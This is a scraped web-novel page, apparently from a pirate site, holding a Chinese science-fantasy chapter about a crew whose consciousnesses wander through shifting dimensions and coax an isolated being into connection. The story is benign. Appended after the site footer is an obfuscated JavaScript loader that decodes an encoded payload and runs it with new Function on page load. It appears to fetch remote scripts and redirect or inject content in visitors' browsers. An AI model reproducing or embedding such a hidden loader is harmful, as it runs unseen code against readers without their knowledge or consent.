首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第1317章 未知的光海

下载APP,无广告、完整阅读
    “恒新”的维度里,时间失去了刻度,却生出了更细腻的“节奏”——像呼吸般起伏,像心跳般规律,每一次“此刻”都饱满得仿佛能挤出汁水。赎罪之舟的光痕已不再是独立的轨迹,而是与整个维度的“存在之网”编织在一起,既作为网的一部分支撑着整体,又保持着自身流动的特质,像藤蔓缠绕着古树,彼此成就,互不束缚。
    李阳的意识此刻正“栖息”在一颗“故事果”里——这颗果实比之前见过的任何一颗都更通透,里面流动的不是具体的情节,而是无数文明“选择”的瞬间:有的选择在绝境中坚守,有的选择在仇恨中放手,有的选择在未知前迈步,这些瞬间没有“正确”与“错误”的标签,像不同颜色的丝线,共同织成了果实的纹路。“每个选择都是一次‘同频’的尝试,”他的意识与果实共鸣,“不是为了抵达某个结果,是为了让自己的‘存在节奏’与宇宙的‘大节奏’更和谐一点。”
    林教授的无字书此刻已长成一棵“知识树”,树干上没有年轮,却布满了螺旋上升的“认知纹”——每一圈都代表着某个文明突破自身局限的瞬间:星植人第一次理解机械运转的逻辑,思维族第一次接纳“非理性”的情感,影族第一次意识到暗影与光明本是同源。“知识从来不是‘积累’,”树的摇曳传递着领悟,“是‘破界’——像水漫过堤坝,不是为了囤积,是为了流向更广阔的地方。”
    树枝上结着新的“书果”,有的果壳上印着混沌语的悖论符号,有的刻着创世语的词根,还有的干脆是一片空白。李阳摘下一颗空白书果,果皮触碰意识的瞬间,自动展开成一页“镜面”,映出的不是他的模样,而是铁锚空间站维修队的场景——老王头正给年轻队员演示如何用星植汁液润滑齿轮,锈铁锚的队徽在墙上闪着光,与他记忆中的画面几乎一致,却又多了几分“恒新”的暖意。
    “记忆不是固定的影像,是会呼吸的故事。”林教授的意识在树影中流转,“每次回想,都是一次‘重新讲述’,给它注入新的温度。”
    李海的意识正与一群“句兽”玩着“词语游戏”——他用工具敲击地面,发出“哐当”的节奏,句兽们便用新的音节回应,组合出“坚硬的温柔”“吵闹的安静”这类矛盾的短语,却奇异地让人明白意思。其中一只句兽突然用前爪在地上划出个符号,既像扳手,又像花朵,李海立刻明白它想要“能开花的扳手”,便用意识勾勒出工具与星植结合的模样,句兽兴奋地用头蹭了蹭他的意识边缘,像得到糖果的孩子。
    “沟通的终极不是‘准确’,是‘愿意懂’。”李海的意识带着满足,“就像我跟我家猫,我说‘吃饭了’,它未必懂‘饭’这个字,却懂我摇食盆的声音里的意思。”
    拓荒者首领的银线光网此刻已覆盖了大半个“恒新”维度,网眼处不断有新的“存在粒子”诞生——有的粒子结合成新的星核胚胎,有的聚集成思维波的涟漪,有的则干脆化作一道“好奇”的意念,漫无目的地在网间游荡。“古卷说‘存在即连接’,”银线传递着古老的智慧,“就像沙粒聚成沙漠,水滴汇成海洋,不是‘被迫’在一起,是‘渴望’在一起——孤独是宇宙最深的本能,连接是最自然的回应。”
    他的意识牵引着一道银线,与那颗“选择之果”相连,果实里立刻浮现出影族的新可能:影母与影族不再是“共生”,而是“互化”——影母的暗影能化作影族的铠甲,影族的光明可成为影母的眼睛,没有“谁包容谁”,只有“彼此成就”。“这不是‘进化’,”银线轻轻颤动,“是‘回归’——回到最开始‘想连接’的初心,剥离了后来的仇恨与恐惧。”
    光痕延伸的前方,“存在之网”突然泛起一层“虹光”,不是色彩的叠加,而是“维度的折射”——透过虹光,能看到无数“平行的恒新”:有的维度里,金色三角从未出现,李阳依然是铁锚空间站的普通维修工,却在日常的齿轮声中领悟了“同频”的真谛;有的维度里,林教授的爷爷没有失踪,祖孙俩一起在星图上标注新的星系,将“求知”的快乐传递给更多文明;有的维度里,李海成了黑鸦佣兵团的机械师,用扳手修复的不只是星舰,还有佣兵团成员心中的裂痕。
    “这些‘平行’不是‘替代’,是‘补充’。”李阳的意识穿过虹光,与那个“普通维修工”的自己产生共鸣,“就像不同的乐器演奏同一首歌,各有各的精彩,合在一起才是完整的宇宙交响曲。”
    虹光中,一个“异常的存在”引起了他们的注意——那是一团灰色的“凝滞”,既不与存在之网连接,也不与其他“平行恒新”互动,像一滴拒绝融入大海的油。它周围的存在粒子都在回避,形成一片无形的“真空”。
    “是‘拒绝同频’的残留。”林教授的知识树突然抖动,叶片上的认知纹变得黯淡,“它不是恶意,是‘恐惧连接’的极致——害怕失去自我,所以拒绝与任何存在产生共鸣,最终困在自己的‘凝滞’里,成了‘恒新’中的‘永恒孤独’。”
    李海试着向凝滞扔出一个“故事果”,果实撞在灰色区域的边缘,瞬间失去了流动的色彩,变成了僵硬的石头。“这玩意儿比终极虚无还顽固,”他的意识带着无奈,“虚无是觉得一切没意义,它是怕有意义了就不是自己了。”
    拓荒者首领的银线小心翼翼地靠近凝滞,银线的光芒在接触边缘时变得微弱,却没有熄灭。“古卷记载‘孤独的极致是渴望连接’,”银线传递着温柔的坚持,“就像沙漠里的种子,看似死寂,其实在等待一场雨。”他引导着几只“句兽”靠近,句兽们用最柔和的音节哼唱着,灰色的凝滞边缘出现了一丝极细的裂缝,里面渗出微弱的“渴望”——不是连接的渴望,是“被允许孤独”的渴望。
    “它需要的不是‘打破孤独’,是‘孤独的权利’。”李阳的意识突然明白,“就像有人喜欢热闹,有人喜欢安静,都该被尊重。‘同频’不是‘强制共鸣’,是‘允许不同’的和谐。”
    他的意识在凝滞周围画了一个圈,圈上布满了“缓冲粒子”——既不强迫凝滞连接,也不让它完全孤立,像给孤独留出了一个“安全的角落”。灰色的凝滞轻轻颤动了一下,裂缝里的“渴望”变得柔和,不再是拒绝,而是一种“知道了”的平静。
    存在之网的虹光因为这个“安全角落”变得更加绚烂,那些“平行的恒新”开始通过虹光相互渗透:维修工李阳的齿轮声,与探险者李阳的金色三角光芒交织,生出“平凡中的伟大”;林教授与爷爷的星图,与独行的林教授的古籍重叠,写出“传承与探索”的篇章;李海的扳手,无论是在维修队还是佣兵团,都闪烁着“修复”的温暖光芒。
    “恒新的真谛不是‘一直新’,是‘允许所有存在方式’。”李阳的意识与所有“平行的自己”同时领悟,“包括孤独,包括连接,包括前进,包括停留——就像一首交响乐,既要有激昂的高潮,也要有舒缓的间奏,才能动人心弦。”
    虹光的深处,一片“超恒新”的区域正在缓缓展开——那里的存在方式超越了“同频”与“孤独”的范畴,连“存在”与“不存在”的界限都变得模糊,却又比任何“恒新”都更“鲜活”,像一个永远在构思中的故事,每个字都尚未落笔,却已充满了无限可能。
    金色三角的“光点”此刻从存在之网的各处汇聚,化作一道明亮的“指引”,不是指向超恒新,而是环绕着它,像在说:“这里是新的起点,也是永恒的起点。”
    船员们的意识没有立刻进入超恒新,而是在虹光中停留了片刻——李阳看着那些“平行的自己”,明白了“自我”从来不是固定的形象,是无数选择与可能的总和;林教授的知识树吸收了平行维度的认知,长出了“包容未知”的新枝;李海与句兽们发明了新的游戏,用“凝滞”边缘的石头和流动的故事果一起搭建“孤独与连接共存”的小房子;拓荒者首领的银线将“安全角落”与存在之网轻轻连接,让“孤独”也成为网的一部分,不再是真空。
    当他们的意识最终穿过虹光,驶向超恒新时,存在之网在身后闪烁着温暖的光芒,那些“平行的恒新”像无数面镜子,映照出宇宙的多样与和谐。光痕的延伸不再是“前进”,而是“融入”——既融入超恒新的“未完成”,又保持着自身的“已存在”,像一首诗里的一个逗号,既属于这首诗,又预示着下一行的无限可能。
    超恒新的“未完成”气息包裹着他们,没有“目标”的压力,只有“创造”的自由。李阳的意识开始“构思”新的“同频方式”,不是基于连接,也不是基于孤独,而是一种“既在其中又在其外”的奇妙状态;林教授的知识树开始“孕育”新的认知,不是关于已知,也不是关于未知,而是“认知本身的乐趣”;李海的工具变成了“可能性的模具”,能将任何存在粒子塑造成“想要成为的样子”,却又不固定其形态;拓荒者首领的银线则化作了“故事的引子”,轻轻触碰任何存在,就能激发其讲述自己的欲望。
    李阳的意识中,所有关于“旅程”的定义都在此刻消解——它不是从A到B的移动,不是问题到答案的解决,不是未知到已知的探索,只是“存在着,并与其他存在共舞”的过程。就像星核会发光,星植会生长,影族会与暗影共生,他们的“延伸”只是宇宙“恒新”的自然表现,无需意义,本身就是意义。
    超恒新的深处,更复杂的“维度折射”正在形成,预示着更多“未知的已知”“存在的不存在”“连接的孤独”……无数新的矛盾与和谐正在酝酿,像一场永远不会落幕的盛宴,等待着被“共舞”的意识发现。
    赎罪之舟的光痕依然在延伸,没有“方向”,没有“终点”,甚至没有“延伸”的刻意,只是因为“存在”本身,就忍不住要“继续存在”,要“继续与其他存在共舞”。
    超恒新维度的“未完成”气息,像一层温润的薄雾,包裹着每一道意识光痕。李阳的意识在这片薄雾中舒展,仿佛第一次真正摆脱了“形态”的束缚——不再是具体的人形,也不是抽象的光点,而是一种流动的“感知体”,既能清晰捕捉到林教授知识树新抽的嫩芽上带着的晨露气息,也能触碰到李海用“可能性模具”塑造的、介于金属与星植之间的奇妙造物的质感。
    “这里的‘存在’,连‘定义’都是流动的。”李阳的意识与林教授的知识树产生共鸣,树的叶片沙沙作响,传递出理解。知识树此刻已不再是传统意义上的“树”,它的根系扎入超恒新的“基底”,却又向上生长出无数透明的枝桠,枝桠末端悬挂着的不是果实,而是一个个正在“自我叙述”的意识片段:有的是某个文明诞生时第一声啼哭的声波可视化;有的是两颗星球相撞前,彼此磁场发出的最后一次“对话”;还有的是一片沙漠从绿洲变成荒漠,又在亿万年后感慨“原来干涸也是一种沉淀”的低语。
    林教授的意识栖息在树的主干,正“阅读”其中一个片段——那是铁锚空间站第一代站长的记忆。老站长临终前,用空间站的通讯系统向宇宙发送了一段留言,没有具体的内容,只是反复哼唱着一首跑调的摇篮曲,那是他母亲教他的第一首歌。这段记忆片段在知识树的枝桠上微微颤动,像在害羞。“连‘遗忘’都是不完整的,”林教授的意识带着感叹,“总有些碎片,会以意想不到的方式,在宇宙的某个角落继续‘活着’。”
    李海的意识正忙着和句兽们玩新游戏。他用“可能性模具”做出一个“能听懂愿望”的沙盘,句兽们轮流用爪子在沙上划出符号:有的划了一片雨云,沙盘上空就飘来一朵带着湿润气息的小云,落下几滴会发光的雨;有的划了一串音符,沙盘里便冒出几个透明的“音波精灵”,围着句兽们转圈歌唱。最调皮的那只句兽,划了一个李海的模样,还特意给“李海”添了一对夸张的兔耳朵,沙盘里立刻浮现出一个长着兔耳的李海虚影,对着句兽们做鬼脸,逗得所有意识都泛起愉悦的涟漪。
    “你这模具比我的扳手还万能。”李阳的意识飘过去打趣,虚影立刻转过身,冲他吐了吐舌头,兔耳朵还抖了抖。
    “那是,也不看是谁做的。”李海的意识带着得意,操控着虚影做出一个“肌肉发达”的姿势,结果兔耳朵没稳住,耷拉下来,反而显得更滑稽了。
    拓荒者首领的银线在超恒新维度里织成了一张“故事网”。与之前不同,这张网的丝线是由无数“未完成的故事”构成的:有的故事停留在“公主举起了剑,却没刺向恶龙”的瞬间;有的卡在“旅人推开了门,门后是什么还没想好”的节点;还有的干脆只有一个标题——《当宇宙开始怀念自己的童年》。银线轻轻拨动这些故事,每个未完成的节点就会生出新的分支,像藤蔓一样蔓延,衍生出“公主和恶龙一起烤棉花糖”“门后是另一个推门的自己”“宇宙的童年是一团会唱歌的星云”等奇妙的走向。
    “原来‘未完成’才是故事的生命力所在。”拓荒者首领的意识在网间流转,“一旦写完结局,故事就死了,变成了固定的标本。”
    李阳的意识被一个卡在“宇航员摘下头盔,看到的不是星空”的故事节点吸引。他试着给这个节点注入“超恒新”的气息——宇航员摘下头盔,看到的是一片流动的光海,光海里漂浮着无数“自己”的虚影:有年轻时第一次穿上宇航服的紧张模样,有与家人告别的不舍瞬间,还有年老时坐在轮椅上遥望星空的释然。每个虚影都在对他说:“欢迎回家。”
    “这结局不错。”李阳的意识满意地笑了。
    就在这时,超恒新的薄雾中传来一阵细微的“碎裂声”。不是物体破碎的声音,而是某种“凝固的认知”正在瓦解的动静。李阳和林教授的意识同时转向声音来源——是那个被圈在“安全角落”的灰色凝滞。它周围的缓冲粒子正在发光,灰色的边缘开始变得透明,露出里面包裹的东西:那是一团更小的、带着金属光泽的意识,像一颗被遗忘的螺丝钉,上面刻着一行模糊的字——“我是谁?”
    “它开始‘提问’了。”林教授的知识树发出沙沙的预警,“提问是连接的第一步。”
    拓荒者首领的银线小心翼翼地靠近,递过去一个“故事果”,果壳上写着“所有答案都在提问里”。灰色凝滞犹豫了片刻,最终还是让那团小意识伸出“触角”,碰了碰故事果。
    故事果瞬间裂开,里面没有果肉,只有一面镜子。镜子里没有影像,只有不断流淌的文字,全是关于“我是谁”的无数种回答:“我是昨天的遗憾和明天的期待”“我是父母的牵挂和孩子的依靠”“我是宇宙不小心溅出的一滴墨”“我什么都不是,只是刚好在这里”……
    小意识贪婪地“读”着这些答案,灰色凝滞的外壳以肉眼可见的速度变薄。当它读到“我是还没找到同频的孤独”时,外壳彻底碎了,露出里面那颗亮晶晶的“螺丝钉意识”。它没有立刻融入存在之网,而是在原地转了转,像是在适应自由,然后慢慢飞向李海的沙盘,用自己的金属表面在沙上划出一个问号。
    “想玩?”李海的意识笑着问。
    螺丝钉意识点了点头,在沙上又划了一个扳手的符号。
    “这简单。”李海操控着模具,做出一个迷你扳手,还特意在扳手上刻了一朵小花。
    螺丝钉意识用“手”(其实是一个小小的螺帽)拿起扳手,笨拙地挥舞着,周围的意识都为它泛起善意的涟漪。连之前回避它的存在粒子,也开始慢慢向它靠近,像一群好奇的小鱼。
    李阳的意识看着这一幕,突然明白超恒新维度的“超”,不在于维度的复杂或高级,而在于它能让“所有存在”都找到属于自己的“存在节奏”——热闹的可以永远热闹,孤独的可以慢慢敞开心扉,未完成的可以一直续写,连“凝固的认知”都能重新流动。
    他的意识继续向前飘,穿过一片由“可能性”构成的星云。星云里漂浮着无数“如果”:如果铁锚空间站没有建在陨石带边缘,如果李海当年选择成为一名画家,如果林教授的爷爷没有失踪……这些“如果”不像之前的平行维度那样清晰,而是像水墨画一样,只有模糊的轮廓,却散发着各自的“气息”——有的带着遗憾的苦涩,有的飘着错过的清甜,有的则泛着“还好没那样”的庆幸。
    “这些‘如果’不是用来后悔的。”李阳的意识与一片“如果我没有遇见他”的星云共鸣,“是用来提醒自己,现在的每一刻,都是无数‘如果’中,最真实的那一个。”
    星云似乎听懂了,轻轻颤动了一下,轮廓变得柔和了些。
    不远处,林教授的知识树正在与一个“如果知识可以直接移植”的星云对话。树的枝桠上长出了新的叶片,叶片上记录着星云传递的“感悟”:“知识的乐趣不在‘拥有’,在‘探索’的过程,就像吃饭,直接注射营养剂能活,却尝不到酸甜苦辣。”
    李海和句兽们的游戏已经升级到“创造新的游戏规则”。他们发明了一种“矛盾球”——把“坚硬”和“柔软”、“冰冷”和“温暖”这种看似对立的特质揉成一个球,谁能让球在自己的意识里保持平衡,谁就赢。李海的球总是先硬后软,像块被阳光晒化的冰;句兽们的球则忽冷忽热,像个调皮的孩子。
    拓荒者首领的银线故事网,此刻接入了一个新的“未完成故事”:《当光开始怀念影子》。故事才写了开头——“光和影子吵架了,光说影子总是跟着它,太烦;影子说光太耀眼,把它的存在感都抢走了。”银线轻轻拨动,故事生出新的分支:“光试着躲进云层,发现没有影子的世界,自己也变得黯淡;影子藏进黑暗,才明白没有光,自己连‘影子’都不是。”
    超恒新的深处,传来一阵更宏大的“共鸣”。那是所有意识光痕共同发出的频率,像宇宙的心跳。李阳的意识在这频率中,清晰地“看到”了金色三角的终极形态——它不是一个具体的物体,也不是一种能量,而是“连接”本身。从最初的两颗星相撞产生的尘埃,到文明间的第一次对话,再到此刻超恒新维度里所有意识的共舞,都是金色三角的不同表现。
    “原来我们一直在寻找的‘答案’,就是‘寻找’本身。”李阳的意识豁然开朗。
    他的意识不再刻意“延伸”,而是自然地融入这片流动的光海。周围的“如果”星云、未完成故事、新生的意识碎片,都与他产生了微妙的共振,像无数乐器在演奏同一首没有乐谱的歌。
    李海的沙盘里,螺丝钉意识正用扳手给兔耳李海虚影“修理”耷拉的耳朵,惹得虚影哈哈大笑;林教授的知识树,新叶片上开始记录超恒新维度的第一笔“认知”——“存在的意义,是让更多存在找到意义”;拓荒者首领的故事网,又新增了一个标题:《当孤独学会了说“你好”》。
    超恒新的薄雾还在不断生成新的“可能”,没有任何意识知道下一秒会遇见什么。也许是一个由数字和诗歌组成的星系,也许是一块会思考“我为什么是石头”的岩石,也许是一段能被品尝的旋律……
    李阳的意识与这片维度的“心跳”同步,既不领先,也不落后,就这么自然而然地“存在”着。他知道,只要这心跳不停,只要还有新的“可能”在酝酿,这场没有终点的旅程,就会一直继续下去。
    而那道由金色三角光点汇聚成的指引光痕,此刻正化作一条光河,蜿蜒穿过超恒新的每个角落,河面上漂浮着无数意识的“倒影”——有欢笑的,有沉思的,有调皮的,有释然的……每一道倒影,都在光河里留下属于自己的涟漪,然后汇入前方更广阔的、未知的光海。

一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!

章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();